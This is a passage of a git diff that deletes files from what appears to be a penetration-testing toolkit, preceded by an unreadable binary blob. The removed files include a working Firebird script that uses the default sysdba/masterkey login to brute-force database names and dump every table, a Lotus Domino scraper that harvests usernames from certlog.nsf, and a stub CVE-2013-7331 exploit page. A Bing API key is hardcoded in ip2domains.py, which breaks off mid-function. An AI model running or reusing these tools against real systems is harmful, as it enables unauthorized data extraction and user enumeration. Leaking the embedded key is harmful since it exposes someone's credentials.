zC>XJ!^#XJO>R-J$De{UBGKfUCF=F>PZ4d(tTEqh{t>w<+EZ)cpi>qcWmea%qvE+x% z)+#ou2ZFkg{J}blmHkZkl2iqZYyt(Lt*7&zj6|&7gg@S>F17|VGeAX=CPQZOp67WZ z{XyaATchNHqhJbQH6Q13+g|`k8lvLZBR+2hS_m@?sR%51!cLRI=3NW<40CRSj#i*j zujsz+{8+J2f$L)M&3)Hktg}c2taox#olNmi)ETHzzZh^qCRm|lUpUqf->da;MVRkf(r2V}C?bn@HI3zV_0rX~6yMZzEj0hpGSw^)}fDT5?H zR3FJ0+6$ffk;9}*MPC+hX|#7X8ld4&JvYKxYkjKrjFB|rqEw^K?UBWMGDD`iF;3D% zMWv{wsSJ@5jUh#L*23gkF=xrx%&C@!xnbyBlLE8wOij2NRW=L>d`^nyZ!4mW)z=fo zI>9>9Kpg}J%G3~9vzNQhR`)-|Lr{Dk#NL=Ks}$fu z+c_WtV~t*lhCq9vg;)(|sw<5$5@^F~4ZS7z4O1zV7S7 z98$Ck=87zQ#l+ikU9R5dF>`xe&lfLm1lnJipRDealF+mKk~sQ9K9CCCfl$L zkL?JI)Xa-EURI?hvlFf;IF2w*BDnu8s1{qY zOPs!VCI3a1MQu(DYs8}sj!a;Gvh7NE<@d?B@sbiL9IHH5fi6I66+L^It!WDL`=sz? zuW&wt-9)Jfeo;7S$g8>{nqw|8Sgb5In}=mlu>@!k;NjK+VYWD_P3*GLSEl=z@c!v_ z;VoW+=lP&ZD>1T>txfo#gFC4Y#zKoY;C=mq)bU0LQkHTf7FgQ~e~7h?R8DdUAL?Rp zksIAKplCBe8QN_a>#r7Fb!3zg7wUz{9fcV_SEU#P_( zYL%?r%>51nvli>rk_vSNu=s)!YEz3}#huXch`GR6vqkEvmBY4Fk*C@dTHBtyG5fzFe{8S$suu8fU=jfNk7eb4e$#QWV|7JJ(xY` zfcWKoKpdd}6Yp_t4LI8{>Z|2IUQ3kOYNrkN7Ulz+w;S~=N&Aev$SF~<^=3#Bh_hTZ zK96ymfCFm*S}>*0^6GYr z*_;;F)$Yfy5!x_#!kS&&>{EA+>7|EQzP8nRd{N#mjV@vqF0^X&2H4Q5&#Y=S2p&t0 z@%Dz94dHYk&RS0JN^A32doJ5#kkK+nr?2)XrwD55x&&ocAea2Xj4&uc~KrwF{kn8t9354pG2nemj3m_*cUeGQ=$}UdLwL@>62B9^&m$ToBfX}nTUe4#vs_mF^Ev|@9-QjiE0cCE4Oo zme?R8#^PX;)?-88B(M~Zn4Bli1DtL180)jL;&|o$M~{sc898$~Ml>V`^#O<%6n0K_ ziPx<};6)AG%8)QlugPG8Q}ohH;`?2gN2qLh357Uik(%W{bZ2$JBIg7aXJx^O4!o6x zr=P|0N*r|GLQN^lRt;B|_j7%&L|>?wMMP^w*nFsP6_?x(-KPjKum?jy5KJCdfHh2A zVoLeh)_o!cSve@5OaXUZ2kdbxf~5aexN`m~3j^H;8i|NiM0{ta7}6?rzj!QF)1*HC z`f5FI=5m&LMptp&-(<8OI_>0xoM@DXH;%BzZ4{IySx<}q(96WlkH5kz1e#47JE0;j z*E_-Vx%evq+doa^_fqMh(}kBMpGX^4^!OzMj(w(z#o?dG>7D{;T}j{Yj>jLz%q9LT_L;trEa5GsGe z9PeN$)20#Bb2v&QXOlgTzlGIf_S zSAO_?>%zEy87Jt9{HTM2bTUQsgwK+ta^OwPs_A}&LNcKHv?6IFDT2MgjY_ierqE_k zsG$WO2GM2Tct=C~&f%A8Z6%APhM8 z*Z>>ON1~Tv5t6q;A=ls%)NgFg1zk8r)|EF}nN4OQ#d$KnMm74u?;?UjUp;k_2eveO zw9ZA+oDvv>78Wi#exPZ=!G%ti1^}3(Z31BdRRZsCOya-$y zCrD1$C)VA6^-C|b9?{SxAFBXYjGvI?@$hvBS9tSsz;rErNG;C`t+nQUEA%@}GF(Lt zLCo)H_|!=@SBF_MD6Ne({;zwr**=2lR9ywM_RcG5^M5r!NB`a9^wh4TBvsNHn*Q^) zRO&i!-i$!fT=2eRIib33)ZWo{FPQSSpB~LEL!MFfO4^FKNKrRt7rb@gh25ThxLQZ8 z)!9<`3)#hEB5yOT`+^-eE4PhHjZorizMQXXt~^f9us(^+SK}+#3#NGD&YjRDCCkOj z2VkUy+^Cxkc5Hw{Tf&PCejA%(ff2i}Gl!^d`XHBK$$~hWC&%P^LXatfwOrzcEpKgT zp2OBz~LxaDeG#dZ_DL6?) zK~&5aVQPV>U!N4baKjkln{mMfK_F5GTG;z-IbO5r%JYH4aPve85bzR>-MW&0`mem` z7)_kzp9P%sANufN5^?;Kfx9L+xXD{)L|n})KSy|$j&r`a_$?I;Wr<;m^rhH}#6I#< z>*$gHAL7{x2Vk)tewUF2*2P{aBO>I8W=&m9*)$6|`*AA{tsU zNV6x-(!`$}p#!_@SY#u;bCgzZ9Sn(4ZF39*BnWx`bnJBHA*H@*zPPu@K{dVS7)?AZ zF>&AUTSCVblPDuUI>tXY$&+%vNNu3VPfzN86v|U! zb&O7`WLA>ECFeR^QbGIl2G|tA>+-rhdj8;*%P2LNIFMQ!GU>amU>W4!dBbFiS|tbs zg5yP?PMVi>QdYt^N}KN(rNun{yoVSxNkXr>lOxM^`bVYj}=>~n?&LLnD?y#-k$n~+bqN;X_ZHASx@WV zyqrch&(h+LY@@-~pQSV3Jwf~Lc3Z<#*UB>|r>|RboJSYtlzKjcFh=ctX!p*o9%Swk z?ItJYrHV@0in&X19y2f1^^vbPG*lD>zpom-H_M9zp<}`;ygB7#llk z+BO_~{qQ3OtX(Xay%S4n%9W9I)rD#q{FHvEZ_H zk+VLy%Mk&y12Gv!Dc}p&XliX=g&0R~!9HUgA7CxW%DwzGY$?v#GTEwOJS?}B1*|hs ze&ew2#*^*p^R11^fn$Nh&P9SfhpU5iT%Y{ABk;p(ph(rM$VAOyaK9IQ{^3+r#vD;jgGU ziww@F#J#UQ-@xP~J-YsJI-&%&rwzuk!H0y%o$Kk^-(E+fJA%c;t)_La8l>-h$YsOM zFnZ_qYMrwa({zd_I39k_v&ti5TVggzdWxfWaK77@X1L|F>StHerth4fr(d^+4q2~m z(3N!EpI=TZM&(iJ&1H6Cicb9gI6ZRvb72P%l+>!*p~H4R{MLv4c9+PNwBygWaz4K| ziAk3&G`sIC9s9L|wEH(tcw06ivny%qS2ok~;XKyExjFTjr|7|t*pKonY1d%oK?ybd3DrLKAn;ENm7e}tAW{a}p=6xYAd%OD5?_^mP4ARoR31C&H0 zi$D{@+!b3v>{H}h|G6!+>FsV}Z1uKtblkO zr+Z(!PX|P{ggr?MkL3`3^_`c~_V+Iq(Jc1-<;{5@n_<$HSJI*`*xZH@rwjfoSo|SJ0&|7ikS$^3uKZo!k9+Nlf#(xO6=jJApC| z>0$dKti4f9jxI4dCicKd;*Yjwj*DSAuNv|W`hqLwKDtvF6>F*_sF?f6+XChM#j~WX zOT!z67Sb1yONOPif#z|zGzIeHytzIfL(gyU`oUG-Lks=0Ii>GbZ_8i9!CvEnA1!iN zy>o09l&PQ&eX`ruVgrx`o7>0&mv^t^gGY(4#%psVNsPlKi3ZlgX6wYOMY?ThYLA3Q zvV2xHkT7nrNj;GJX(h;x6{~XHnVGsXb}gcWE7a0RT#9ReGJ}orvNb814Rh|ZO_vix z2f5WDOFZPPjh_L$1AfGSS182Cy3UP>KVNLD^}&voeV)pq64^k5Ja;!|_% zG|+K;#A0Ku9MOGALZQPLge-?=YfWXHLdLq9cu?&2P#dslJ%1QsH!&G1wj6uf>TNWl`0w#AO#gM&vk}k0qf_l*m4`A?|mB>l^c|4mgiBDIwQl%h7RU z2gX#lqc2gWDfFKYuyGzT4^4B#Z63Gz#KJFDRM)Cp&1%;wY*eW%$%EHwx?%rDKZ%lJ zQO()!o0C8anVW{xNRY9l)mK1SOjGTVq#01P_z{;;*H;Q;t8NR~9`==D%dsgFw7K>e z@$GHOUaSj7Y4Zg>V~42;$2KtFq6nO+tzgnn0|8YtFFZfEwov8|u9%CJ8J$KedHscT za^1#$3#pbTAp5EUW1a>v66I|hSIq|w_*oBEZ{o8rV5EiJ%COCMTgy?iOMdvYH?Bvz zz1Zh958}qw3#+wR8GdQ4J(G18@%u>~$3gNxi?u0QWr!CiucU>@Ug7bYEUDkcZkbaaFLx?Ox52iWvaIC#;<%h90H`K`i6^+_ZL z@<8s@+6sUb8_Q|`JWw!LGCams<8lJjig??Cr`YmYm}60k%~AQJB-Qcl@Bj80diJ{m zg|GR@t?{l0r~&<%dpko%Kfad^d`~82vPHg9VoZ`V%-k7!7jf-pE}`YPV`I-L+WU)7 z(*ApVB!7M2(l?IKncqAesW9llGV}kpcQr6}T-Eu!_xAt)$M$CZw`+TC$FY;h4!Bf` z11hvhqqY%gLK1#T)Z(-#NmUH0oK$KgKrvLsP-197p>jY1;h=`Uk`|(>#84q5LP%_r z_;>AH|LkV}yzAY4>)m~?=iGbGopbNZyf<&XcI>c|c<#C9eCOw$J2P+Q?!7Z`{t1lp zHH@>a5}MxE0xh?jVTi6q=-M+5uRbzl(MgD?9FFZ9hLLsEF#e4<;H+87Q*+;PSoQg4 zsK)s7%j#g|t_C>pn4GZ@9J_FI6pnsy1b~+LP@MNRLF*mm>H#G4j%K)i#~8e}d(1qL z@KHn2V*CD)`rW)h$GJNW`dzn63~Zsl;~zqQn`)tTdkZvf)r#qNHo@larr_oG_L)@Z zzuL>ko0;bZ;PBH^P*JCE7xaZ7Sbkv?G1gJ&{_`HF!Vx6>FdaNFKRrJ!Zyg^UQ$JeWA-LC8l0eh;k>b1 z5|fOVLMaqp3__==iD-D|>u}&3)mWQ^iH#j_%fHu$uP3Z-$a~FDs zN~w}ljxNv(a{?JradO=s(b9m6=NVS$4ClV#C^!X#W!m+8xoYv=g19~3M!>Oq(uCD` zzm9=~Fq^d4pdG81T!{-Sj(^DxuVDj}6Wc9Z(LXrqV7EC_1n!u@CAZzL6Q6nPfa*j? zm4xSw^|&Oyq#2i_WM7PBI~)`9sq|%BCmF|0bkruXBxn0RU+PB6h>6O+%=*^?E4G9& zjCF}nVJKZiX^_MeAIyo%C=lvuYh@SPit+i*aNVi=yqcfn-M12)NmO)WXWDj%Z_+v>G&XbeUVQ1Ikf52gsMfFz2; z!vVgA7GlhJ?+PMb@lD3%1R15ezYl)9)j2CPO5{n9!a_APY%`aWA&m22>9Z%)k0S=i zeM^LjT?@1?&7jOt`s`sskeEXTCODQ>9DwAAl^s*DOjGw|SZ~-?N0DKl;~>W&fzx3G zb}1-PQ~gf%vER?*yIt(&`K;e!mLJVdV#B*83Wexf4 zz_5nveZUopmMko_uz4ZaS43k-r9;2LVh@^K}0}J|T9$Wj?HpP7sDkC~Mf~ArZ$B)XK@T1qKn*&0fY(k+Fn?fxK zsUF}x`{ox!t4kRluacL{NfMOx=ME~MGxp0?eE)u(abBrl!Or^A=6xq9_F1G$JXvZh z=9;LNsM-r8%al)}M>N+-F6pQ`@p$7OYx&#GvSKCs!T8xstO{de0aAeAlJHWOXwo-{ z=6p+gQ9L#wal|v&qU~dSQO-r@(%LPYCn059v7JTZ_3-4PppL{Vu-y?6zmZY@c=T<> zYtOHQ{Zf9&GS{V-D4vuvZEz0UsW9-;ODBcwgOB?-^Nf>n){(L(9_dI7)d|NuNt4WM zN{sh|`Y{YajAsCq<{-1j8e_N=*a8D7h~mJ7f+nRU4U!xclx5IQ31U23UN!K5dREm@ zBd)8ZaJaKvO9bXZ)C_a*A>2A*9+i39COYsN&Q)ddMf6@;}e^`le zHbM0=B~-iFBjeD!`2_ew9m~ISJ+y62LvA`~h>Vktq%>TFzPpY>uY8~f9OU}t3TSM@ zxky$Qqc5L^fe#*mQ#4yEFsWi7yOxD{S^rP1&~Rh0xKDv_Iofo07S26*9L_ral+^C{ z5MTz`rrfE%#R}21R|kic8UJ|GLNj`nKYKkadOP+@c^YPa{sz2!kIoKhDs?KoP02i- zty1FC{VjzRLGtw^p$>;9GefM&bIk;jRzqi_N&$iNs;&gh9g zKM5NbcOjW;Sk~gKNz7G5Ck{6XC^AiAQJv2gMtM$Ze{Ox4)cVzpvt7c3Ok`AIq+HT* z&1Ad29QkT6h4}nnsb~+F#D}NiRO9?RpqPsE9e3PXjOQp0Pp*`X|GO??ur>v69!YIp z&yjS@`hKJO-%*IUF0vgeCGF`ZuBxXLk%m;Za)kZ0Ji?u}YHuCZ4$5~ucBT8@;Zag~m{l?mh6%>!7h^p-qKbAx} zz-ynnFBjlq{sh#LQitP^JOcW4R%SlwG0ifMr^RN_m@%d-I)FmTCN}%{%lWf!$?BV=GUWmh>@_7$gQXvx;{-y6Lh?@1GJ0#j zUqO}WLsLq%*iM;d`zj6_Or$D7`9WvspE)B_di@hqJA3=X6id+Gs9#819kKUf20nOW?{6ja{PfPeWP zC^(0x<&$e+)yFE;?3y4TP35c5)7lJ_%Ycl(j{n&J4L8x?4iBOjofQ?({N2@1zT+4i z+lxHJYn2M9?80Q>Lwn`jZE(Zg;o~{8wiY@Ltbo2vr?fG%&vaBkrX?3%w&I}5p?wfax4pdU+mNBu8Pw0cLa%Po)WCaSs{zIkd})|t*nGa z-|vEoj~#*IdxNVI!&d!tqlwAY%XC)5vgbEI<-_;f z#95#nTIBi&EV`6xYci;-7*mT1OY)Mqa^siU_7G6sc@RY-Oz#`Gt0nYUDfscyLJW+@ zQ|Le;G1;Jaxr}M@TZ^5fgKUfAz??Oc_n>Mu=Z%O9Vcs0P1r5pm;Qa9k!*y!5q)Sah zoDbw{vwWw=jxW)lA0Njq%u9%Sr$NVQ0JJi;Ar(D3&_Y2B-rDnY=Uk2Q;{-Bi%fSVY zOpqV48|9DWa$`(PIkz0JF?1wI>DJObKtYV8xd_<|F|7IdBgh8^C|wnbHz{uZ0xaE< zjnNWwu;C@at411RcS*2hfbjtlX*QmT2CR*wP94YbrVC2gukjh_+6ER_ieLpoO<9N~ z0))eIDgmZ6imn3kN*kq(m;%03)9pQ6ls@w!?4Yvp?%OA$KF^qmWHZw**)^3$R>rZ~ zKC=Yg(=VyU&yM0>@Y$JB(o^Nxy0n^*R;s>!8mjMWhvo0_I-oKIxtB)a^u95USx2vu z#r}ezeXE2BqyT517=p#Ox8m#tsz1zVDMk@{Wa%OP`jxP>T%gp zP0b|qc%S5L`P_Olh=TKRF5uUazH$N1eSZd8Ki!5)gXkE^K*J|jK=a;HFeIGk)eCra zB*dP6X$<=J48mA-6Ri4TQw~>irJ=J9I=2CIiy0B4-yDQYmwqRV&JXT!c~|AVIE$uD z+nfHuAe<07x~)Sn_}S|8)MC=bmoC@U!lDN%)Zj?LBN_7|2T`V9x}f45K8v3f-&6w) zw>3a*?FBexXQQ~;mHn^cz;OAfp!n&!r2bLQ=>K)NhM&hT`K!Cok?rXt6KgXiFprqj&WS8YU=0Do+H?bBneG|kqPnpob`=g zUBz2#MaW>JkxQig7-G!nvpq(5x!4I~Q|@)L;vvef;}fjo^DlQ@`Yjz7=+iz3QivuZ6_n^zbYd|TC1C%(leDEy%=Ftkc`3v$JH$dx`&cUIbIN0MiFED3PS`W>*bcS9qi;H?-=&x~DgfV22XmdeQLo-I$Sr=Ts+ zbf4BqXQ!aAv&SyQnYjBrO#cTiMcIafOLf)I{#YFh(fcn#TMoweoP~pw1GSC8shexl zYah~cJY;{8c=+?Z&I_59%AFmshuLT`~WR^!34kJzl20W@Fzup2>Vi{5OL-^&ZmBVoKp5VGv@*s+6*_%na{Tv;MgHe4?I6B|V(ZZ!XDl9L; zCU-9yP%lGM5K=Hdh?>;hr#!hw1d6RJ!uszxi?S23QO;vT5$ISJcU>%CL69f|bO}=3 zQLIlcCE-zh?%C6jC}5&y6bE_!ltQsK7q_YqbjK34k@;weCx`__SuK$lWjm(b+z#hA zmGlcXM8xC!a_Xky@PzKXlUK~qJVbsaV!aYR<{=f<#I+W$4g3lb^OGNCrI;yS9(n!H z_hDD4@s69Q!3zfvQwhcw@DiumWE#fpEp**ujIwR+7i0XCsb7J}q{V0;JA;1~r=S8q zUV_zKZy*g>iWAM|b0JYCm7W>EY40eoG8-?w_>%`2TrV^Da>ofXOTbE4Z|_NXWp90Y z#WQWtdRJAhj0RNjA-?KQT4CeSYB<$(Jb19Q$^oI4Q3O>@;a{x>|E>p4+rPjIKnnjt zUnEZ3Hle1;uq3~v20C}Qz@Z(3A#{)>9OM!2)*xVNavIKmtq)$`DZhafVIqcws}5XA zI5d=NCQt2}I)V?oH)%BqPo=Uj`LkK5x)mRAPESMj7%od$UkOzmgiS-;!|kx{w?lAv zuXh5_FTVaCaY#IfUtwCT-zri5%PBamxZKfLaqbZ4_5n|b)FhmFtOp;g@a3a6DAKVN zQUutBUjgdUJemP?@R310?#YHZ-i;gSP3zS{rI{gLL3|{d0`S}aUg{(nRytBAH8dVjbCfTrCb#MG@QNrgcx`W zMI4xDDIjAM=B262RJuolSg{@I+VT8JTAX}9rmynh^*l@fODw}l%W`8~czy9OX ze$R<8M4t*$M;~HnJKJjQU`GDvWYB*q6ztFEC!y_KRVu8q&T?}M;c<0qjnK=&81?%~ zea_@@kdO41zPncGaldm)Rr!1`{ATfaSoNKDX#K;=Tt;1&aHifJt#IS()o^_MaXsTk zSqR7O*t!-gqMwQ6sy+_f8MATh%-}l9{W2ui7Jb-4eIWx28Mw+b;GfHU4G>{FGdqay zV|*Jzmq~TC;Xhz8^9q*wSx*P5Zx^u&gfExP{&EbC zKk-I18hdQzPuIW_evgBX!Z?pDJ7ME=Qi9l_orfWdpKq<&*Z?gLHAD07QEz0RX8U!p zzIOs%-_2h~K~34?LsKyF-_ua}2X#=5FA}9~>bpq>QF1W)xpOdZLVos|`+X$#xO3vB zis}BUwe%pV2Reu%HZARe{3M*d?LYaJh<2U>a$$t;Y1nff3=VFfoQGOUvvhk3A&=^~_-5M{Rd;6`KWC%9k;0qTN6 zz=(}K!XgYZiw%#8ug(yU`HT}~=Zj16<;NN@zUPcu zVq?Q5wyg-Iq@>78_Qz@=RZ`8uIF(-yqT&pK&8;ZMWpsKFC3EUL{OZm#Mu9LUAz0`p znz}V9>yowrO{_MbGpE{(&9Lbg^!=RZt?cG1b=;Cv_B-6zgnCWUO31C)Obh44K&Wlv z7@WB00?fX!Dc$}Kp}wpJR{wfA3~cT-OwnEeizEv)H4^_OF*yaQG!;E?sn0t)XNgTE zQ3eu@*2wJ%j&(lQNu<+(6#fpWpCWTH;4}r8u;~R(f(%ds=eThnSoILYN*0I`GeD`l zgsw^MP4=1R@QTF{7p;uV#}tzJ*sHxB*A}Ng^x%hcCH3_f@AGZ@wZMukVF3%oLIxHx z@MdP9lyj2LcM-20M3FK{lYLnix{7rCavdpT`N(mW-6{V&j0UAWMWReO6a*_|z69Owl!|Tsoh( zQz&@3nN66nMfcEWb{vH>&*95Gzug8k^wL;-_+7OP@O=`}Hq)~(@{uFZjWbV}Lv65j zoj`P;sWK`p+Cc!uiI3ejPK|W2^lp;LgA*{k?;JGSPc5gQ;V&0Ke)lPD&sBk3H!kJa zj>}f=Tmf75HLJm}iU-rr@;~StO2TKS!mrjXu65sF`^&#iJ70Z6}GI(6wbEF z4KmIVT~dXPktMh2z-E6ngfm<8a;$Jx=IF-DOJIdF9B`6S6s=9ArzH85%aod_fkS62 z>tO>fjXETk$e^x{Lf<5kDXA|_$3@$6vwX2|;r^Q)q(MUc!_bU_V)jHX((ki0%PwZ4 zc++~K5=?w+6!Nz>LM^=;X>GmtZX80!wIas&HNvKr(fOuI+|hZh>42x3;+~bZ*D)>X znlI8r`dlTNHm>X1TX=t&8p?UJnF}$jq$rUrMA?hKL;Y7Yd&vMY$CuDm$(#}DiaSgm zT1iORj*=9wGBCG8bUt4*-7BeyoAIG$XhEzvgkNARWMCl!S2_bl2Ly@)6dFX~>jsx` z`trgcv5HR&35YXth4>f>UjqwzED$nI!q8G)is7^m-)W(9K+~UjLkgLSk7U4SdErvq zV?C-d$J6r+QQvH$0vm5CZj=N76^a@u=p0qhNm@^nASu);~<| zM!@Oxx8f`UeAh$Nmg+z|atRN{6AaXZHHQDC4{~d0mW97zoFi_WgrFZZw_{C%QKmk% z{5LCdwe&E#1iv1Fya6k=1ipU+1r*nR;&P)OG{DL~)iYTZKh+6+KMH1fAS%4kyG-V= zk#{$@OQ7Z^{biwab_T|9a3*>~E$Sc@J`Nh;AKe?(vZTD3%VMlL#sS(sUXQbg^gzVL zZ;4Mit3Z@7W7BvgeZ@9}vS(-mm+>hvGt|2|xT5|6$Gj=ly*zpWK*9)um{ajt|YlFS~a{wr6xo&0JK zys~3dU1XHL*+tpP9>yhGIP^y{(t8#4*td05q`!T;sk8lX;NPlX>*F-Cf-}*!(RB%5 zGHo~32zkm9n+h#>%5tLlGC-xIIdbAjLqs!e*EQII0=wS$hM5etDjdH+BzRdU}D{&A~3F6Td*SS2uuP^vasI}!< zR5jd@j-rv^u@my4B*x%u_YC6n15^$l{GE-RY7IxED#n2+kQKx+y00I<2o%&6URH?~ z_LV$#CkJFu$?6%x)&m3Q?(c=Bo(^beL3mp|tb1k=y!_z-6;T9SDMs^&D+3RFXeE@J zlaG*X-)ynVFj9wR?D8eT7HV>arlFWkww8HRrcz6w>DC;LqNFn;lh92|ocP2ifY$(y z+&pIyLTx$@dNk9=zaJO3w(^e}03Oo=YlP-4pqPUX(fBFb91f(Yp{p&_82!bmD6G=L z;Jk1{3@w)^=8#q9;|z_bTk!~{dJYCYaYVdRLwQn?*f=yK(VlHo-_eM9!5J?cLL%+r zAkHzDtdTi5nSTBK=U~xOYhl?3C<=Tz^3!W!`GF(QOM{yQ;wT_u^QxRUIIV`~sQ=2} zM&B&cGkTOz88O#Nl?2?GUxbMRfnLSi>M#_cN6K^f;vey1?sYJG#5#^TIwTO%g?XStt25yUnE`GBFVi zFCvc6D9#Gyd@gYpce8+aGc!PadN~fBH?vLGs&78OBKkv%7*M2v31LO7EQl8};A9}~ zc1iurM;x<`@dKrI Rb147-002ovPDHLkV1lm+*M9&2 diff --git a/cenzic/url2cenzic.py b/cenzic/url2cenzic.py deleted file mode 100644 index 7873fd7..0000000 --- a/cenzic/url2cenzic.py +++ /dev/null @@ -1,131 +0,0 @@ -import urllib2 -import socket -import argparse -import sys -import multiprocessing - -numProcess=10 -default_timeout = 10 -socket.setdefaulttimeout(default_timeout) - -def get_redirected_url(url): - try: - opener = urllib2.build_opener(urllib2.HTTPRedirectHandler) - opener.addheaders = [('User-agent', 'Mozilla/5.0')] - urllib2.install_opener(opener) - request = opener.open(url) - return request.url - #except urllib2.HTTPError: - # return None - #except urllib2.URLError: - # return None - except Exception as e: - #return str(e) - return None - - -class Worker(multiprocessing.Process): - - def __init__(self, - work_queue, - result_queue, - ): - # base class initialization - multiprocessing.Process.__init__(self) - self.work_queue = work_queue - self.result_queue = result_queue - self.kill_received = False - - def run(self): - while (not (self.kill_received)) and (self.work_queue.empty()==False): - try: - job = self.work_queue.get_nowait() - except: - break - - (jobid,url) = job - rtnVal = (jobid,get_redirected_url(url)) - self.result_queue.put(rtnVal) - -def execute(jobs, num_processes=2): - # load up work queue - work_queue = multiprocessing.Queue() - for job in jobs: - work_queue.put(job) - - # create a queue to pass to workers to store the results - result_queue = multiprocessing.Queue() - - # spawn workers - worker = [] - for i in range(int(num_processes)): - worker.append(Worker(work_queue, result_queue)) - worker[i].start() - - # collect the results from the queue - results = [] - while len(results) < len(jobs): #Beware - if a job hangs, then the whole program will hang - result = result_queue.get() - results.append(result) - results.sort() # The tuples in result are sorted according to the first element - the jobid - return (results) - - -if __name__ == '__main__': - parser = argparse.ArgumentParser() - parser.add_argument('-f', dest='filename', action='store', help='[filename containing urls]') - parser.add_argument('-p', dest='projectName', action='store', help='[abbreviation of the project. do not use spaces]') - parser.add_argument('-o', dest='output', action='store', help='[output cenzic CSV file]') - options = parser.parse_args() - - if len(sys.argv)==1: - parser.print_help() - sys.exit(1) - else: - if not options.output: - print "[!] Please use the -output argument." - if not options.filename: - print "[!] Please use the -filename argument." - if options.filename and options.output and options.projectName: - resultList=[] - filename = options.filename - lines=[] - with open(filename) as filename: - lines = filename.read().splitlines() - jobs=[] - jobid=0 - for line in lines: - line=line.strip() - print line - if "#" not in line and len(line)>0: - jobs.append((jobid,line)) - jobid = jobid+1 - results = execute(jobs,int(numProcess)) - for result in results: - if result[1] not in resultList and result[1]!=None: - if ['"'+result[1]+'"','"'+options.projectName+"_"+result[1]+'"',"","","","",'"NetPenScan"','"10/2/2014"'] not in resultList: - resultList.append(['"'+result[1]+'"','"'+options.projectName+"_"+result[1]+'"',"","","","",'"NetPenScan"','"10/2/2014"']) - #resultList.append(['"'+result[1]+'"','"'+options.projectName+"_"+result[1]+'"',"","","","","",'"NetPenScan"','"10/2/2014"']) - if len(resultList)>0: - print "\n\n************** Results **************" - print "Found the below URLs" - - for x in resultList: - print x[0] - - if ".csv" not in options.output: - file = open(options.output+".csv", "w") - for x in resultList: - file.write(x[0]+','+x[1]+','+x[2]+','+x[3]+','+x[4]+','+x[5]+','+x[6]+','+x[7]+'\n') - file.close() - print "[*] Import "+options.output+".csv into Cenzic" - else: - file = open(options.output, "w") - for x in resultList: - file.write(x[0]+','+x[1]+','+x[2]+','+x[3]+','+x[4]+','+x[5]+','+x[6]+','+x[7]+','+'\n') - file.close() - print "[*] Import "+options.output+" into Cenzic" - - else: - print "\n\n************** Results **************" - print "- No URLs found" diff --git a/exploits/cve-2013-7331.html b/exploits/cve-2013-7331.html deleted file mode 100644 index 079be2c..0000000 --- a/exploits/cve-2013-7331.html +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - jsFiddle demo - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/extractDominoUsers.py b/extractDominoUsers.py deleted file mode 100755 index 5bbc092..0000000 --- a/extractDominoUsers.py +++ /dev/null @@ -1,42 +0,0 @@ -from lxml import html -import httplib -from urlparse import urlparse -import requests,sys - -url = "https://webmail.xxxx.com/certlog.nsf" - - -page = requests.get(url,verify=False) -if "Certificate Log" not in page.text: - print "[!] Please check URL" -else: -#domainName = "carnivalaustralia.com" - page = requests.get(url,verify=False) - tree = html.fromstring(page.text) - path = elements = tree.xpath('/html/body/ul/li[3]/a/@href') - hostname = urlparse(url).hostname - scheme = urlparse(url).scheme - startUrl = scheme+"://"+hostname+path[0] - - nameList=[] - count=1 - while True: - url = startUrl+"&Start="+str(count)+"&ExpandView" - #print url - page = requests.get(url,verify=False) - tree = html.fromstring(page.text) - elements = tree.xpath('//tr/td//text()') - if len(elements)>5: - counter=0 - for i in elements: - if counter%5==0: - username = i.replace(", ",".") - if username not in nameList: - if "/" not in username and username!='Previous': - nameList.append(username) - print username - #print username+"@"+domainName - counter+=1 - elif len(elements)==0: - sys.exit() - count+=30 diff --git a/firebird/firebirdBrute.py b/firebird/firebirdBrute.py deleted file mode 100755 index 4efee0c..0000000 --- a/firebird/firebirdBrute.py +++ /dev/null @@ -1,76 +0,0 @@ -try: - import firebirdsql,sys -except: - print "Download pyfirebirdsql from https://github.com/nakagami/pyfirebirdsql.git" -import argparse -import sys - -def extractDB(database,ipAddr): - con = firebirdsql.connect( - host=ipAddr, database=database, - user='sysdba', password='masterkey' - ) - cur = con.cursor() - cur.execute("select rdb$relation_name from rdb$relations where rdb$view_blr is null and (rdb$system_flag is null or rdb$system_flag = 0);") - results = cur.fetchall() - print "\n- Found the below tables" - for x in results: - print x[0] - - for x in results: - print "\n- Extracing the contents from the table: "+x[0] - cur.execute("select * from "+x[0]+";") - results = cur.fetchall() - print results - -def connectFirebird(ipAddr,wordList): - defaultDB="C:\\PROGRAM FILES\\FIREBIRD\\FIREBIRD_2_5\\EXAMPLES\\EMPBUILD\\EMPLOYEE.FDB" - - #Try getting list of connected databases without attempting any database name guess. - con = firebirdsql.services.connect(host=ipAddr, user='sysdba', password='masterkey') - results = con.getAttachedDatabaseNames() - dbList=[] - if len(results)>0: - for x in results: - if x!=defaultDB: - #Remove the default database - dbList.append(x) - print "\n- Found the below connected databases" - for x in dbList: - print x - for x in dbList: - print "\n- Extracting contents from Firebird database: "+x - extractDB(x,ipAddr) - else: - #Brutefoorce firebird databasess - print "\n- Bruteforcing Firebird database names" - dictList=[] - with open(wordList) as f: - dictList = f.read().splitlines() - currentWord="" - for word in dictList: - currentWord=word - try: - con = firebirdsql.connect( - host=ipAddr, database=word, - user='sysdba', password='masterkey' - ) - print "Correct database name: "+word - break - except firebirdsql.OperationalError: - print "Incorrect database name: "+word - continue - extractDB(currentWord,ipAddr) - -if __name__ == '__main__': - print "This tool attempts to brute force the database names on the Firebird database server using the default credentials (sysdba|masterkey)" - parser = argparse.ArgumentParser() - parser.add_argument('-host', dest='ipAddr', action='store', help='[IP address of Firebird database server]') - parser.add_argument('-wordlist', dest='wordList', action='store', help='[File containing list of database names to brute force]') - - if len(sys.argv)==1: - parser.print_help() - sys.exit(1) - options = parser.parse_args() - if options.ipAddr: - connectFirebird(options.ipAddr,options.wordList) diff --git a/ip2domains.py b/ip2domains.py deleted file mode 100755 index ce80993..0000000 --- a/ip2domains.py +++ /dev/null @@ -1,124 +0,0 @@ -import argparse -import urllib2, socket,sys,base64,os -from xml.dom.minidom import parse, parseString -import socket -from urlparse import urlparse -import commands - - -bingAPIKey = '40Mem6C6yp/FDmkBYaCtgEs7GdiNIGeod+n7T8ol2x0' - -def isOpen(ip,port): - s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - try: - s.connect((ip, int(port))) - s.shutdown(2) - return True - except: - return False - - -def RunCommand(fullCmd): - try: - #print fullCmd - return commands.getoutput(fullCmd) - except: - return "Error executing command %s" %(fullCmd) - - -def getIP(domain): - try: - return socket.gethostbyname(domain) - except socket.gaierror: - return "" -def getSSLcertname(ip): - fullCmd = "nmap --script=ssl-cert -p 443 "+ip - results = RunCommand(fullCmd) - resultsList = results.split("\n") - for line in 